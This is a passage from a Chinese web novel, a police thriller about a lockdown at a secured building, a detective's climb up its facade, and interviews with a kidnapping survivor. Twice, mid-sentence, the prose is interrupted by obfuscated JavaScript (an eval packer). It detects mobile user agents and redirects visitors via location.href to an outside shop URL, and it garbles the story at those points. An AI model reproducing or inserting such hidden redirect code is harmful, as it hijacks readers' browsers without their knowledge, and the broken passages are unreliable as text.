莞荟苑后厨和正式酒吧分别在一楼和地下,二十四小时营业,二楼这里只是个小吧台,晚上八点正式打烊,他这个来这里没几天的警察都知道,怎么还会有人在这个时候打电话过来? 打错了吧。 他没有理会,打个哈欠,准备起身向房间走去。 路过吧台时,这通电话依旧没完没了在响,寂静的黑夜里分外刺耳。 他挠挠头,到底还是拿起了听筒,不等对方开口直接说话:“喂,这里是前台,下班了。” 听筒里传来一阵极细的电流声。 电话那端有人在呼吸,距离是如此之近,仿佛就在耳后。 怎么回事? 卫其宏不耐烦起来,“喂?哪位?不说我挂了啊。” 对面呼吸声戛然而止。 咔。 对界的电话被挂断了。 卫其宏盯着听筒,一阵烦躁。 骚扰电话都打警察这里来了,他翻了个白眼,将听筒重重放下。 铃! 在他放下听筒的一瞬,铃声再度响起。 他真不想接,然而铃铃铃的电话声又急又响,气得他一把抓起听筒,冲着对面喊起来:“下班了!” 那头依旧没声音,好像有什么在摩擦麦克风。 刺啦——刺啦—— 仿佛指甲在塑料壳上缓缓刮动。 卫其宏听得一阵恶寒,怒道:“再来电话报警了!”说完才意识到不对,他自己就是警察,咧开嘴正要笑,线路那头忽然传来一阵喘息,随后是沙哑的低语。 “林律奚和你在一起吗?” 卫其宏刹那汗毛倒竖,“你是谁!” 啪,电话再次被挂断。 几乎同一刻,中庭处隐隐传来砰的一声,仿佛有重物撞上墙,在寂静的黑衣里分外清晰。 他闻声回头,似乎看到中庭上方感应灯亮了一下,旋即灭掉。 铃——铃——铃—— 电话声又响起。 这次声音并未从吧台上传来,而是来自酒吧入口的一部分机。 听筒从卫其宏手中掉落,他飞快的从枪套中掏出枪,猫着腰几步来到入口墙壁上,向中庭处观察情况。 长廊里寂静如许,只有那部电话持之以恒的响。 电话声这么大,怎么会没人反应? 护士呢?便衣呢?保安呢? 他们在哪? 卫其宏咬咬牙,抓起通话器跟界至野那头喊了一句,“我这里有情况!”然后扑到分机前,一把抓起听筒,“喂!你是谁!” 啪,电话被挂断了。 该死! 林律奚! 他摔掉听筒,掏出枪直接朝电梯奔去。 铃—— 吧台电话在响。 铃——铃—— 走廊的电话在响。 铃——铃——铃—— 护理站的电话在响。 他跑过之地,分机逐一响起,到最后是整层楼的内线,从吧台,走廊,护理站,小餐厅,所有铃声齐齐响起。 它们这样密集,冰冷,似乎永无停歇。 卫其宏在电话的急雨中奔向警方所在的安全屋,然而门被锁紧了。他连刷几次卡,每次都是红灯,无论怎么推门,房门都纹丝不动。屋子里隐隐传来声音,大概是便衣在大声喊,但讲什么却无从分辨。 妈的这该死的隔音! 他顾不上其他,握着枪反身跑向电梯,扫了下ID卡,按下四楼按钮。 毫无反应。 千万不要,千万不要! 他抓起卡,在感应器上拼命的蹭,然而每次只有一个冷冰冰的红色光点在闪烁。 该死! 他骂了一声,掉头就往楼梯口跑,然而遇到的情况一模一样,ID卡徒劳无功。 擦! 卫其宏狠狠踢了一脚铁门。 一个,两个,三个…… 走廊棚顶设置的摄像头在这时忽然转向,齐齐对准了他。 他的血液在这一瞬冻僵了。 这是谁他们有多少人都在哪我被困在二楼了该怎么办林律奚在四楼我上不去组长还要半个小时才能到来得及吗匪徒会不会已经到了四楼不行我必须试试上次调查官爬上去的地方就在西侧吧台那里不管了林律奚不能出事我也试试。 他冲入酒吧,玻璃窗关闭,天鹅绒的帷幕垂下来,外间夜色朦胧不清。 卫其宏把枪插回枪套,伸手要去拉开窗户上的插销,然而他找了一圈才发现没有。 没有插销。 这扇没有,这扇也没有,这扇也没有…… 该死,他急得冒汗,抓起身边一张椅子,椅角朝外,全身力道压上,狠狠朝窗户砸了过去。 哐—— 玻璃窗纹丝不动。 哐哐哐—— 毫发无损。 “我们这里是世界一流的安保系统,窗户都是特质的……” 该死! 就在这时,前方再度传来闷闷的一声。 仿佛有道影子,自中庭间直直掉了下去。 水花溅起,混杂着轻微的撞击声。 他愣了愣,扔掉椅子,来到中庭,从铁栏杆向下看。 吊灯旋影间,那道灰扑扑的身影早已消失,只留下涟漪仍在轻闪。 四楼406。 林律奚摘下了耳机。 他推开椅子,慢慢站起身。 他的眼神和窗外夜色一样幽深。 他拉开房门,迈入走廊中,走到电梯前,按下了数字5。 高尚桢赶到的时候,莞荟苑里已停了两部警车,远处传来更多警车的呼啸声。 几名警察分散布开,有的站在入口前,隔着大门和里面的人大声喊话,另外两名警员则手拿望远镜向上张望,一脸着急。 高尚桢顺着他们的目光看上去,心脏在一瞬间抽紧。 顶楼边缘,有道身影若 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“……” 到时候都出尸斑了! 高尚桢烦躁异常,“他们顶楼不是有直升机吗?能不能……”话到这里自动消音了。 能是能,可是风那么大,再把人给刮下来…… “我来。” 正在他急得跟热锅上蚂蚁的时候,有人从旁开口。 程宥不知何时已到身边,他大概也是从床上直接赶来,头发有些蓬乱,衣着依旧整洁。 “行吗?” 高尚桢没有废话,他对程宥并不怀疑,不过上次院方发现了西侧水管的安全漏洞,不仅更换了水管,连藤曼都一并给清理了,这次他要怎么上去? 程宥打量着大楼,微做思考后有了答案,“时间足够的话,应该可以。”他说,然后摘下自己的棕色眼镜放入口袋,脱下西服交到高尚桢手里,“帮我保管。” 然后他解开袖扣,将袖子挽到手肘,几步来到楼前,仰头打量星光下的建筑物。 从这个角度看,它如此之高,陡峭向上,如剑锋刺穿夜幕。 他默默计算。 风向,东南;风速,四级。 选择背风面可以减轻横向推力。 程宥在楼体北西向停下,双手分开,右手拇指扣上砂岩微微隆起的地方,食指勾住其中一条不足厘米的裂缝,同时左手探向墙体上浮雕装饰,抓住边缘,脚尖点上墙面突起,膝盖微微一曲,身体骤然拔起。 凌空瞬间,他的右手急速上滑,左脚蹬向墙面,借力一个悬空旋转,左手在浮雕飞速一压,不等力道变老,右膝已顶住墙面,整个人如同被绳索牵引,轻巧上升数米。 衬衫领口被东南风吹得簌簌作响,他略略收缩肩膀,让风顺着身体流过。 高尚桢握住他的西装,目送眨眼之间,这个人就飞上了二楼。 界至野觉得自己的呼吸都停了,他想说点什么,然而嗓子发干,半个字也挤不出来。 二楼浮雕不多,支点稀少。 程宥右手轻撵,调准抓点,左手立起,在最后一块装饰上发力猛推,同时双腿齐蹬墙面,瞬间又跃上三米左右。 他的手指因用力过度而微微发白。 有战术手套会好一些,他思考着,但是触感隔绝又无法做到极端精准。 高尚桢的手掌也因攥得过紧也没了颜色,他哑着嗓子告诉界至野,让后来的警车赶紧关掉警铃。 界至野愣愣答应一声,还想罗嗦,瞄着他的脸色,摸着头赶紧跑了。 程宥在不住攀升。 他的动作并不快,却连贯无比,寻找支点,蹬墙,发力,旋转,拉升,每个动作都精准到毫米。 就这样,他无声无息,干净利落的来到三楼。 无人可见之处,他的手心开始有汗水渗出。 界至野挡在路中央,拿出警徽远远让驰近的警车停下,就在警铃熄灭的一刻,身后突然传来几声惊呼。 程宥右手打滑,扑扑坠下一米,整个身体悬空晃动。 两名最先赶到的警察正仰头观望,一瞬间满头大汗。 程宥右膝迅速顶住墙面,左手重又压住浮雕边缘,脚尖猛地蹬墙一蹬,霎那将意外化解。 风轻拍着他卷起的衣袖,他绷紧肌肉,重新稳定空中姿态。 他在原处静静停了十几秒,直到手心汗水全部渗入裂缝,再度干燥,这才牢牢抓住一角边缘,身体继续稳稳向上,直跃向四楼。 当那道身影终于消失在顶楼时,楼下爆发出一阵高亢的欢呼。 警察们在呼气,在咧开嘴笑,在拍胸口,界至野双腿一软,差点没跪下。 只有高尚桢一动不动。 他静了很久,重新架上了望远镜。 28. 世界上最遥远的距离 空中花园的泳池在夜晚空无一人,幽暗的水面在风中轻轻晃动。 林律奚斜倚在玻璃护栏外,风吹起他的衬衫下摆,像一面旗帜。 垂直五十米之以下,有闪烁的警灯,忙碌的警察,还有看上去很软,像床一样的草坪。 他眺望着远处绵延的灯火。 头上星光无尽倾泻,照亮世间每一个角落。 沙漠边境的城市星光更亮,还会被风吹得沙沙响,细小的,无处不在的沙。 不知来处,不知归途。 侧后方的护栏轻轻一颤,程宥自下而上,翻身进入花园,他的动作如此轻捷,几乎没有发出任何声响。 然而林律奚还是听到了。 “我等你很久了。” 他没有回头,慢慢从口袋里摸出包烟,磕出一根,啪的一声,摁下火机。 火苗一瞬舔上了他的脸。 他吸了口烟,继续望向灯火不眠的城市,像在看一片燃烧的海。 ——很久很久了。 程宥没有停下脚步。 他的视线从林律奚的肩膀移到他身后的栏杆,停留1秒,又扫向天台边缘。 “别着急。”林律奚吐了口烟,怀念的眼神似这道白烟,在风中转瞬即逝,再也不见,“证人没准备自杀。” 他的身体忽然调转一百八十度,在下方隐隐传来惊呼声中面向来人。 “你很在乎证人别死。”他捏着烟,又抽了一口,讽刺的笑了,“起码在上庭之前不要死。” 程宥没有开口。 即便在深夜,空中花园依旧光线一流,将他被汗水浸湿的衬衫照得分明。 林律奚慢慢的吐着烟,眼看那些汗痕一点点被风吹干。 程宥站在他目光下,看不见的齿轮在脑中有条不紊的运转。 ——距离不足十米,风速四级,与目标之间有障碍物阻挡。 ——需要接近到五米内,才能确保目标百分之百安全。" 林律奚叼着烟,不错眼的盯着他看,忽然唇角一挑。 “你在计算怎么行动。”他摇了摇烟蒂,微微火星划出一道红痕,“省省吧。” “我说过我不会死。”他掸掸烟灰,有点轻佻,也有点疲惫,“你不信。” “不对,说不信太可笑了。” 他摇摇手指,纠正自己的说辞,“你不看,也不听,即使我离你这么近。” 他竖起另外一只手,从自己这边拉向程宥的方向,仿佛计算距离。 “这么近。” 他的手臂探前,程宥立刻退后半步。 那只手就此停在半空。 ——目标非敌人,无需保持安全距离。 ——该距离成功概率很低,林律奚为关键证人,不可死亡。 程宥绷紧身体,蓄势待发。 林律奚看着自己伸出的手,摇头微笑,然后垂下了眼睛。 “怎么样你才能看到我?” “折刃?” 这久违的称呼让程宥身体轻轻一震。 一瞬间,头顶星空,轻啸的风声,一米高的玻璃护栏,还有足下那刚刚灌溉过,摩擦力减小的草坪,这些被他收入瞳孔,于脑中化为数字的景与物陡然远去。 他微微皱眉,第一次认真看向栏边摇摇欲坠的青年,看到他被风吹乱的头发,扯松的领带,和瞳孔间映出的一点光亮。 “很好,现在你终于听到我的话了。”林律奚讥嘲的笑了笑,盯着指间缭绕的一缕白烟。 “你想确定我是不是认识你。”他掸掸烟灰,漫不经心的抽了一口。 “很早,很早就认识了。” “你认识我吗?程宥?” 霎那间,白板上关于眼前的人信息全部重现在眼前。 基本信息 姓名:林律奚 性别:男 出生日期:22年X月X日 出生地:中部联区XX市 …… 这些资料复述起来并不难,程宥想张口回答,然而却难得的迟疑了。 一股陌生的滞涩感卡住了他理性的齿轮。 他并不确定,可还是觉得这该不是眼前人想要的答案。 林律奚凝视着他,任烟头燃尽,直烧到指尖。 他突然笑了。 他丢下烟头,用脚碾灭,转头去看远方。 那一线灯火燃出的海。 他看了很久,磕出一根烟。 “要吗?” 程宥觉得他并不是真的问自己,当然,他不…… “当然,你不要。”对面的青年点燃了第二根烟,却没抽,只在手里捏着,右手一下一下掰动打火机。 “有时我想你要些什么就好了,什么都行。” “可是什么都不行,什么都不管用。” 他用手指蹭了蹭眉角,“算了。” “跟我说点什么吧。”他不等回答,很快自嘲的一笑,“当然,你什么都不会说。” “你不记得我。” 林律奚很轻松的耸耸肩,转过身,重新望向远处的灯火与暗影。 “没关系,不记得也可以。”“ “能不能等我一支烟?” 程宥终于听清了他的话。 然而,除了迷惘,他脑中什么也没有。 或许也并非全然如此,依旧有某些旧日残像,在冰层深处蠢蠢欲动。 然而它们撞上了厚厚的冰层,一片跟着一片,重新沉入湖底。 程宥站在原地,直到这一支烟在青年手里燃烧殆尽,化为一缕青烟。 直到旧日的残影再度睡去,他始终不曾开口。 最后,他看到对面的人从铁栏上翻身入内,抖落一身风色与星光,径直来到他面前。 “下回见面,程宥,不要忘了我。”他笑起来,没有再看他,脚步轻快的向出口走去,“我要见你们的高警官,也不知道他喜欢听什么。” ============================== 半个小时后,整栋楼的电子权限终于被修正,卫其宏和其他一干人员终重获自由,而高尚桢也得知林律奚要和他单独谈话,不由愣了一下。 望远镜里看到的,只是林律奚在一直不停抽烟。 高尚桢把西装交给程宥,用眼神迅速询问一下对方“你到底说了什么”。 程宥……程宥当然没有读懂。 他接过西装,看到上面被攥出来的皱巴巴的褶子,皱皱眉,搭在手肘上,又从口袋里掏出眼镜戴好。 “你想听什么,高组长?” 二楼的临时安全屋里,林律奚懒洋洋的靠在沙发椅上,对打开的录音笔视而不见。 他随意的问,伸手解开了衬衫上的第二颗纽扣,“这里没有酒?” 高尚桢在心里皱了皱眉,他本以为今日连续两场刺激让林律师终于打开心房,但眼下看起来好像并非如此。 ——更接近……自暴自弃? ——程宥在顶楼到底说了什么? “感谢你的配合,我的确有几个问题。”他观察着对方的脸色,斟酌开口,“如果你觉得不方便,或者不舒服,我们这场会面可以马上结束。” 林律奚哈的笑出声来,他摸出烟盒,示意高组长,“可以吗?” ……反应更奇怪了。 高尚桢抬头看看天花板的烟雾探测器,“要不我先把线拽断?” 林律奚又是一阵笑,在笑声中徐徐点燃香烟,“不用,这里的线路重新排过。”他转过椅子,随手从书架上抽了本法律大部头,丢上桌面,深深吸了口烟,在精装封面轻轻磕掉烟灰, “你问吧。”他边抽边笑,“我保证知无不言。” 这一刻,桌对面的那个人不再是那俊美无铸,傲慢又犀利的企业律师,也不是白日里那个脆弱的,试图握住程宥手的青年。 不太对劲。 程宥到底…… ……不,现在不是探究这个的时候。 高尚桢深吸一口气,他没有问他为什么跑上顶楼,也没有问他为什么忽然转变态度,而是直奔主题。 “之前方楚的录音没有播完,我想不用了,对吗?”他的目光落在对方的脸上,“你知道他后来经历了什么,但他不知道你,不,是你们的经历。” 他在“你们”两个字上刻意咬重。 “对,”林律奚缓缓吐出一口烟,笑意没有丝毫温度。 “我,索骁,齐晴,言行诺,李延,还有一个姓云的富商,被那帮匪徒劫持了。”他盯着手中晶亮的烟头,瞳孔深不见底。 “让我猜猜方楚会说什么,”他支着额头轻笑,“他是不是说自己很幸运?” ……我算是最幸运的那个。…… 高尚桢没有说话。 “你想听细节吗?”林律奚忽然抬头,目光平静。“做好准备。” 他放下烟蒂,解开袖口纽扣,开始一点点向上挽起袖子。 他的动作缓慢,像是揭开一道年头太久质地脆弱的封印。 高尚桢的脸色变了。 随着袖子一点点推上,密密交错的伤痕开始逐一:深的浅的,形状不一,颜色各异。 “这只是表面,”林律奚淡淡说道,指尖在皮肤上轻轻点了几下,“还有这里,这里,”他点了点自己的胸口,又指向腿侧。 “至于其他地方……”他的动作停下,奇怪的笑容慢慢扩散,“就不方便再展示了,抱歉。” 作为刑警,高尚桢有时候会恨自己这个职业,有时候会恨自己无法控制的同情心。 这一刻,他两者都恨。 他停了很久,好一会,久到心里的波澜一点点平静,久到林律奚手中的第二支烟也燃尽了。 对方好奇的看着他,直到他脊背的紧绷慢慢松开,才神情平静的开口,“高组长,我不需要任何同情。我很好,”他耸耸肩,似笑非笑,“起码我的心理医生说我很好。” 他再度捡起了烟,用烟头点点门口,“刘律师他们也认为我恢复得不错,”说着从桌上把半包烟推过去,“抽吗?” 高尚桢沉默的抽出一根,并没有点燃,只攥在手里,直到烟杆变形。 “其他人……”他终于问。 林律奚耸耸肩,“差不多吧。”他点燃了第三根烟,突出一缕细烟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652197|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气平淡,“其实很多事我都记不清了。”他笑起来,“所以那天病房里我说应激,并不是完全骗你,高组长。” 高尚桢叹口气,虽然他对深挖受害者的伤疤一点兴趣都没有,可还是不得不继续硬着头皮问下去,“言行诺也是当时去世的?” 林律奚静了片刻,低声道:“他等到了最后一天,但没有等到最后一刻。” 他又笑了,笑意几多羡慕,几多讽刺。 “最后一天?”高尚桢品味着这四个字,“特种部队到来,但是太迟了?” 林律奚笑容慢慢加深,“高组长,你很厉害。”他衷心赞叹。 “来的是朗基努斯之枪?” “你不认得他?”林律奚扑的笑出声,目光失去了焦点,“不就在你身边吗?” 程宥。 高尚桢再度说不出话。 他嗓子很紧,头很疼,程宥的身份他已经猜到了,但亲耳从当年的受害者口中证实,依旧让他身心震动。 难怪,他想。 难怪。 “你认得他?” 林律奚又笑了,仿佛听到了世界上最好笑的笑话。 “怎么可能忘。”他淡淡回答,然后在书籍封皮上掐灭烟蒂,仰入椅背中目视天花板,“不过无所谓了。对了,我猜你还没有问最想问的问题。” “是的。”高尚桢平复住情绪,“九月二十八,东城旧车回收站,你现身在宫达良凶杀案,什么原因?” 林律奚的身体在椅背中左右旋转,嘴角带笑,声音含一点戏谑,“去现场观摩匪徒的死刑啊,还有什么原因。” 他摊摊手,“我可不是废死派的律师。” 高尚桢的神情冷峻下来,“林律奚。”他沉声发问,“当时还有谁在现场?” “还有谁?当然是审判者。”林律奚神色轻松,“我说过了,我不支持废死。” ……审判者。 ……见证死刑。 不对……他在警局看到凶案现场并不是这个反应。 高尚桢压下疑问,继续追问,“索骁?还是李延?或者云姓富商,还是其他什么人?” 林律奚随意的呃了一声,并没有立即回答,他将袖口一点点拉下,扣好最后一颗纽扣,才抬起头,重新看向高尚桢,目光锋利,“你是警察,审判者的身份应该由你来追查。” 一刹那间,那位犀利,高傲,仿佛对一切游刃有余的律师又回来了。 “那在律所刺伤你的……” 林律奚笑了笑,他没有正面回答,只是伸出手,指甲在书脊那个法字上划出一道浅浅痕迹,声音极低,“凡罪必罚,凡法必依。” 他轻飘飘扔下这句话后,站起身,将法律书封皮上的烟灰抖落在地,对着上面烧出的焦痕缄默片刻,又将其塞回书架中。 灯光下,书脊的烫金标题闪闪发光,依旧簇新。 “再问我要收费了,我的律师收费很贵的。不过多少钱都无所谓。”他耸耸肩,语气温和有礼,“反正我不接刑事案。” “就到这里吧。”他转过身,微微一笑,“高警官,谢谢你听得见我。” 卫其宏和界至野在门外等得望眼欲穿,和他们一样化为望夫石的还有刘律师,这位法律界精英抱着手臂靠在墙壁上,不时用冷冰冰的眼神扫视刑警。 ——署长又要打电话了,组长(老大)又得挨骂。 两个人不约而同的想。 房门突然打开,一身寒气的高尚桢从室内走出。他拨开众人,大踏步来到稍远处的程宥面前,一把揪住他胳膊,“你给我过来。”也不容分说,将他连拉带拽拖向楼梯口。 ——妈呀,组长(老大)好猛,调查官一个人能把我们所有人都横扫了好不。 两名刑警浑身汗毛倒竖。 程宥考虑过摆脱,然而高组长的铁钳在冒火。 ——他情绪激动,肾上腺素爆发,这种情况下,唯一解决办法是把他打晕。 ——不可以。 衡量过后的程宥,任自己被推进二楼的安全屋。 砰! 房门被重重关上。 “朗-基-努-斯-之-枪!”高尚桢一把将他惯到墙上,咬牙切齿,“你知道这么多,一个字也不说,任凭我们瞎摸!” 这个熟悉的名字让程宥眨了眨眼。 “我……” “闭嘴!你到底来红驼干什么?是不是第一天就知道了!” “我……” “快点说!谁派你来的!为什么来!” “我……” “闭嘴!” 程宥丢下皱巴巴的西装,双手高高举过头顶,眨了眨眼睛:“高组长,你现在情绪有些失控,我建议……” “我X!”高尚桢简直暴怒,一把揪住他衬衫领,“你TMD….” 铃——铃——铃—— 一阵电话声打破了剑拔弩张,高尚桢本能的要摔掉电话,程宥突然闪电般出手,将他挡住。 “是你718开头的电话。”他出声提醒。 高尚桢愣了下,什么718开头,电话怎么了?我…… 红驼晚报第三版! 29. 朗基努斯之枪 “我找高警官通话。” “我是,你是周先生的朋友?” “对。” “你为什么要联系我?” “你在查银脊案,我手里有真相。” “我认为我们已经掌握了足够的证据。” “呵,高警官,你看到的只是表象,而我知道全部真相。相信我,只有我知道。” “我怎么知道你说的是事实?” “你明天会收到一份快递。” “什么快递?” “到时候你自然就知道了。” “我怎么联系你?” “再见。” “嘟——嘟——嘟——” “喂!喂!喂喂!” 高尚桢攥着被挂断的电话,心塞到失语。 35秒,完全无法追踪。 完美。 他颓丧的扔掉电话,瞥见了稍远处正在整理衬衫的调查官,这种心塞达到了一个新的级别。 他叹口气,走上前从程宥的西装口袋里掏出那瓶他从不离身的矿泉水。 全新,还没开盖,很好。 他拧开,刚要送进嘴里,突然想起了什么,看着还在拽衬衫袖口的程宥,谨慎开口:“你这里没加什么料吧?” 程宥停下动作,疑惑看来。 “我是说,加什么那种促进爆发力的,比红牛厉害一百倍那种。”他摇摇头,“对身体不好。” 这回程宥彻底明白了,“并没有,不过……”他想强调,虽然但是,冰箱里还有四瓶全新的没开封。然而高尚桢已仰起头,一口气灌进大半瓶,于是他后面的话也就自动消音。 高尚桢擦了擦嘴,站在原地缓了好一会,从口袋里掏出块皱皱巴巴的巧克力,“要吗?” 程宥撇了眼他,没吭声。 “知道了。”高尚桢秒懂他有点嫌弃的眼神,撕开包装纸丢进嘴里,沿着墙盘膝坐下,一边嚼一边问,“朗基努斯之枪来红驼干什么?” 他坐下位置太矮,姿态又太随意,程宥卡着腰,居高临下的看向他,一时没有动。 高尚桢也没吭声,两个人就这样相对默然很久,直到程宥终于慢吞吞的捡起西服,在衣架上挂好,从门口搬来脚凳,离高尚桢一米远坐下。 “再没有朗基努斯之枪了。”在做完这一切后,他轻描淡写的抛出这个消息,藏在镜片后的双眼有什么扫过,但是太快了,高尚桢没有看清。 高尚桢有点意外,“太贵了?维持不起?”他想起那颗昂贵的子弹。 “这是一个原因。”程宥点头承认。 ——肯定不是主要原因。 “既然朗基努斯之枪不复存在,那现在坐在我面前的又是谁?”高尚桢撕开第二块巧克力,想起那份假得不能再假的简历,动作突然慢了下来,“我说,你不会是真的在什么联合调查处工作吧?” 程宥觉得今晚自己的情绪几次起伏,始终处于不稳态,“你查过我的档案。” 他没有像之前很多次那样全然不动,而是轻轻转动身体,调整好一个舒服的坐姿,上身前倾,双手合拢放在膝上,点了点头,“我的确是在联合调查处工作的警务人员。” ——可你怎么看也不像个警察。 高尚桢捏着巧克力的手停在半空,脑子在拼命赶工,“联合调查处?我怎么没听过,哪个地方?谁和谁联合?” 他看入程宥的深灰眼睛,突然反应过来,“中央情报司和……最高警署?!” 程宥没有摇头,也没有点头,只看着他。 懂了,涉及道绝密范畴,就是不可说。 高尚桢一阵头疼,他庆幸还好面前这个人比较好懂(对他来说比较好懂),不用说话,看着他的眼睛就够了。如果再换个人,比方说刚才见过的林律奚,就那个谜语人的风格都能把他活活憋死。 “幸好你不是特工。”他把巧克力塞进嘴里,“如果是一定是世界上最糟糕的特工。” ——警察的话勉强及格。 ——特种兵百分之一千……还是一万吧。 ——十万也可以。 这句不客气的评价显然冒犯到了程宥,他没回应,只将脊背稍稍挺直。 高尚桢不顾自己刚给他插了把刀,继续肆无忌惮的发问,“中央情报司的人为什么来红驼,参与这个案子?”没等说完连连摆手,“知道你不能说。这样吧,换我来,你点头就行。” “我猜猜,是因为白行人的案子?我们这边查他的档案,什么也没查到,却在第一时间就把中央情报司给惊动了?” 程宥不说话,也不点头,只将视线微微垂下。 高尚桢呲了一声,“我就知道是这样。” 程宥平静的坐在脚凳上,随便他呲。 “前面的事我懂。42年林律奚他们去银脊赌场赌博,碰上蛇矛,结果一帮人被绑架,然后被特种部队救了。” “我不懂的是这里。”高尚桢拿瓶口轻轻磕了磕额头,“这个劫案为什么会惊动特种部队,还是朗基努斯之枪?” 他探究着程宥神色,抢在他开口拒绝之前找到个强大的理由,“你自己说的,朗基努斯之枪已经不存在了,那很多秘密也就不是秘密了,要不然就降级,从绝密到机密,机密到秘密,秘密到普通秘密。” 他掏出警徽在程宥前面使劲晃,“看到了嘛?我是一级警督,按级别可以知道普通秘密或者秘密。” 程宥觉得他分明在强词夺理,然而好像又果然有些道理,他一时半会挑不出逻辑上的漏洞,双掌合拢思索几秒,理性开始慢慢向“拒绝”那个方向移动,然后看到对方锃亮的警徽在面前晃来晃去,又一点点偏回了“同意”。 这个逻辑链条很完整,他想,绝密-机密-秘密-普通秘密,唯一的问题是其中级别跨度过多,最好还是打电话确认一下。 他下意识的要去抬腕看表,目光稍稍晃动,就撞上了高组长充斥着血丝的眼睛。 他静了一会,慢慢垂下手腕。 逻辑链可以成立。 不过…… 自从加入调查组,基本上我每次都会按他的指令做。 目前成功拒绝次数:1。 意识到这一点,今日第N次,程宥的情绪产生了波动。 高尚桢判断正确,如果我是特工,一定是最糟糕的特工。 不过我不是。 他抬起头,望向天花板。 “黑电行动的主要目的并不是为了解救人质。” 高尚桢愣了一下,“黑电行动?”他拍了拍额头,“你们的任务编号?” “对。” 高尚桢更奇怪了,“我还以为你们出马是因为这些人质的家里背景。” 天棚的墙纸图案十分优雅,程宥一面观察一面摇头,“不是。” 高尚桢无奈叹气,“你也当不了谜语人你,就快点给我老实交代吧。” 观察的过程因为这句话中断了一秒。 ——谜语人是什么意思? ——谜语做成的人? ——讲谜语的人? ——还有这个‘老实交代’…… 程宥决定放过他。 “肃清武装团伙,回收指定物品,这是主要指令。” “条件允许下解救人质,这是附加指令。” 高尚桢愣在原地。 什么? 原来解救人质居然是附加指令,还TMD只在条件允许下…… 如果条件不允许呢? 他想出声质问,然而有什么堵在嗓子里,最终只能无力的揉了揉鼻梁。 这是上面的指令,不是程宥的。 所以他只嗯了一声,“你……你们任务成功了。” “没有。”出乎意料的,程宥摇头,对天花板的研究更加深入,“主要目标没有完成,次要目标也没有完全达成。” 高尚桢皱了皱眉。 蛇矛或许很厉害,但是不会有人在程宥和他的小队之下逃出生天。 这里绝对有问题。 然而大概率又是一个绝密的不可说。 他明智的没有追问下去,而是换了个话题,“你后来加入的中央情报司?” 程宥没吭声。 懂了,你并不喜欢这个安排,但估计没法走,或者没走成,上面绝不可能放走你这样的人。 所以,打个折,干脆塞进联合调查处,一半一半? 我的半个同行。 不知道怎么,这个想法让高尚桢心情好了起来,他头脑也在可可脂和好心情的激励下再次飞速运转,“指定物品寻回失败。嗯,被带走了,是被蛇矛的漏网之鱼带走的。” 他突然哈哈笑了起来,“我懂了!这是绝密任务,白行人作为蛇矛一员,档案也被列为绝密,这就是原因!” 他目光霍霍盯着程宥,“我肯定对!” ……你就没有不对的时候…… 这一刻程宥想起他旁观过的那场掐架。 那时陈法医被高尚桢气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652198|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急,指着鼻子对他说,你小子宇宙最对,你就没不对的时候! 高尚桢本想反唇相讥,临时改变了主意,含笑点头:你说得很有道理。 当时在场的程宥只觉得这两人的交流没有任何信息含量。 现在看来…… 陈法医果然有道理。 高尚桢信心爆棚,继续布拉布拉。 “……那其他成员怎么没有被列为绝密,还能逍遥这么多年?” 啪—— 高尚桢猛拍了下自己的脑门,“笨!剩下的匪徒都死了,活的都逃了,身份当然查不到!” “不对啊。”他揉着拍疼的脑门,又疑惑上了,“别人查不到怎么又会查到白行人?DNA……对了,受伤!白行人当初腿部被子弹打穿,矿场有他的DNA!” “我说的没错吧?你不想承认点个头也行!” 听他唱了半天独角戏的程宥:…… “这回你们……不是你们,是中央情报司,发现了白行人死在红驼,所以我们才有了特别调查官,是吧?”他盯着程宥的目光炯炯有神,“你倒是点头啊!” 程宥将眼睛抬得更高,不想跟他说话。 “你再仰脖那脖子就要折了知道吗?行,我懂了,所以你们也不知道蛇矛怎么回事,牙是谁,反正知道的都死了,活着的都不知道。” “至于那群学生是你们的次要目标,救出来就完事,你们不管之后死活。”高尚桢撸了把头发,有点堵也有点无奈,“所以你上次说你知道的和我一样多,你没有说谎。” 这次程宥终于点了头。 “不过这样的话,你肯定认识林律奚,那你为什么说不认识?” 程宥又陷入沉默,就在高尚桢以为这又是一个“不可说”时,他终于如他所愿将脖子直了起来,面向窗外缓缓开口,“现在的风力是四级,东南向。” “啊?”高尚桢不懂他为什么突然给自己介绍天气。 “摄氏二十一度,相对湿度21。” “你到底说什么玩意!” “莞荟苑房间总数 162间,监控摄像12个;监测盲区3 处;信号延迟区1 处;外墙与门窗为多层复合防护结构,等效防护厚度 38 mm。” 程宥转头看向他,深灰的眼睛里不含任何情绪:“你还要我说下去吗?” 高尚桢听得一头雾水,张开嘴想问。 然而,下一秒,他撞上了程宥深灰色的眼睛,突然就明白了。 所有高昂的情绪在这一瞬都飞走了。 “你是说……”高尚桢感到自己嗓子发涩,涩得像刀割,“你……” 他又努力了两次,总是发不出声音,将最后一点矿泉水灌进嘴里,还是又渴又涩,晃了晃空瓶,又去翻程宥的口袋,“还有吗?” 程宥看看他,起身打开冰箱的门,拿出一瓶新的矿泉水,回来递给他,又坐下了。 矿泉水又冰又凉,不像上一瓶,带着人的体温。 高尚桢突然就没兴趣喝了。 “是你们特殊训练的一部分?不,是全部?”他摇摇水瓶,心里憋屈得很,“这些事都记得清清楚楚,可不记得人?” 程宥缓慢摇头:“不仅记住,而且要实时研判,这是训练重点。” “至于人质,只是标的,不是必须记住的内容。” 